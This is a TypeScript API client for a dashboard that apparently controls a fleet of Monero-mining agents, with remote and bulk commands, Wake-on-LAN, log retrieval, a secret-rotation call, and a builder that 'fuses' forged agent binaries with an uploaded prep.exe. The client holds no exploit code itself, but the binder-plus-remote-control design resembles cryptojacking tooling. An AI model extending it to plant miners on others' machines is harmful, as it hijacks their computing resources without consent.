import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice } from '../types';
import { authHeaders } from './auth';

const API_BASE = '/api/v1';

// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.

async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
  const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
  const controller = new AbortController();
  const timer = setTimeout(() => controller.abort(), timeoutMs);
  if (callerSignal) {
    callerSignal.addEventListener('abort', () => controller.abort());
  }
  try {
    const res = await fetch(`${API_BASE}${url}`, {
      ...rest,
      signal: controller.signal,
      headers: {
        'Content-Type': 'application/json',
        ...authHeaders(),
        ...(extraHeaders as Record<string, string> | undefined),
      },
    });
    if (!res.ok) {
      const err = await res.text();
      throw new Error(`API error ${res.status}: ${err}`);
    }
    return res.json();
  } finally {
    clearTimeout(timer);
  }
}

export const api = {
  // Agents
  listAgents: () => fetchJSON<Agent[]>('/agents'),
  getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
  getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
  getAgentStats: (id: string, limit?: number) =>
    fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),

  // Shares
  getRecentShares: (limit?: number) =>
    fetchJSON<Share[]>(`/shares${limit ? `?limit=${limit}` : ''}`),

  // Builds
  listBuilds: () => fetchJSON<BuildRecord[]>('/builds'),

  // Config
  getConfig: () => fetchJSON<ServerConfig>('/config'),
  updateConfig: (config: Partial<ServerConfig>) =>
    fetchJSON<ServerConfig>('/config', {
      method: 'PUT',
      body: JSON.stringify(config),
    }),

  // Builder
  buildAgent: (req: BuildRequest, prepFile?: File | null) => {
    if (req.fusion_enabled) {
      if (!prepFile) {
        return Promise.reject(new Error('Fusion requires prep.exe upload'));
      }
      const form = new FormData();
      form.append('config', JSON.stringify(req));
      form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
      return fetch(`${API_BASE}/builder/build`, {
        method: 'POST',
        headers: authHeaders(),
        body: form,
      }).then(async (res) => {
        if (!res.ok) {
          const err = await res.text();
          throw new Error(`API error ${res.status}: ${err}`);
        }
        return res.json() as Promise<BuildResponse>;
      });
    }
    return fetchJSON<BuildResponse>('/builder/build', {
      method: 'POST',
      body: JSON.stringify(req),
    });
  },

  estimateFusion: (req: BuildRequest, prepFile?: File | null) => {
    if (!prepFile) {
      return Promise.reject(new Error('Fusion requires prep.exe upload'));
    }
    const form = new FormData();
    form.append('config', JSON.stringify(req));
    form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
    return fetch(`${API_BASE}/builder/estimate`, {
      method: 'POST',
      headers: authHeaders(),
      body: form,
    }).then(async (res) => {
      if (!res.ok) {
        const err = await res.text();
        throw new Error(`API error ${res.status}: ${err}`);
      }
      return res.json() as Promise<FusionEstimate>;
    });
  },

  pinBuild: (buildId: string) =>
    fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }),
  unpinAll: () =>
    fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }),
  deleteBuild: (buildId: string) =>
    fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }),

  buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
  buildArtifactUrl: (buildId: string, fileName: string) =>
    `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
  buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,

  // Blueprints (config presets)
  listBlueprints: () => fetchJSON<BlueprintInfo[]>('/blueprints'),
  getBlueprint: (name: string) => fetchJSON<any>(`/blueprints/${encodeURIComponent(name)}`),
  saveBlueprint: (name: string, data: any) =>
    fetchJSON<{ success: boolean; name: string; file_path: string; created_at: string }>('/blueprints', {
      method: 'POST',
      body: JSON.stringify({ name, data }),
    }),
  deleteBlueprint: (name: string) =>
    fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, {
      method: 'DELETE',
    }),

  // Health / server
  healthCheck: () => fetchJSON<{ status: string }>('/health'),
  getServerInfo: () => fetchJSON<ServerInfo>('/server/info'),
  rotateFleetSecret: () =>
    fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }),

  // Fleet ops
  getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
  getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
  getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
  getEarningsEstimate: (hashrate: number) =>
    fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
  sendAgentCommand: (
    id: string,
    action: string,
    payload?: Record<string, unknown>
  ) =>
    fetchJSON<{ success: boolean; error?: string }>(`/agents/${id}/command`, {
      method: 'POST',
      body: JSON.stringify({ action, ...payload }),
    }),
  sendWOL: (id: string, mac?: string) =>
    fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
      method: 'POST',
      body: JSON.stringify(mac ? { mac } : {}),
    }),
  getAgentLog: (id: string, refresh = false) =>
    fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),

  updateAgentMeta: (id: string, notes: string, tags: string[]) =>
    fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
      method: 'PUT',
      body: JSON.stringify({ notes, tags }),
    }),

  sendBulkCommand: (agentIds: string[], action: string) =>
    fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
      method: 'POST',
      body: JSON.stringify({ agent_ids: agentIds, action }),
    }),

  deleteAgent: (id: string) =>
    fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }),

  bulkDeleteAgents: (ids: string[]) =>
    fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', {
      method: 'POST',
      body: JSON.stringify({ ids }),
    }),

  createUser: (username: string, password: string) =>
    fetchJSON<{ success: boolean }>('/users', {
      method: 'POST',
      body: JSON.stringify({ username, password }),
    }),

  // XMR market price (server-side CoinGecko cache, refreshed every 10 min)
  getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),

  // Cancel an in-progress forge build by its cancel token.
  cancelBuild: (cancelToken: string) =>
    fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
      method: 'DELETE',
    }),
};
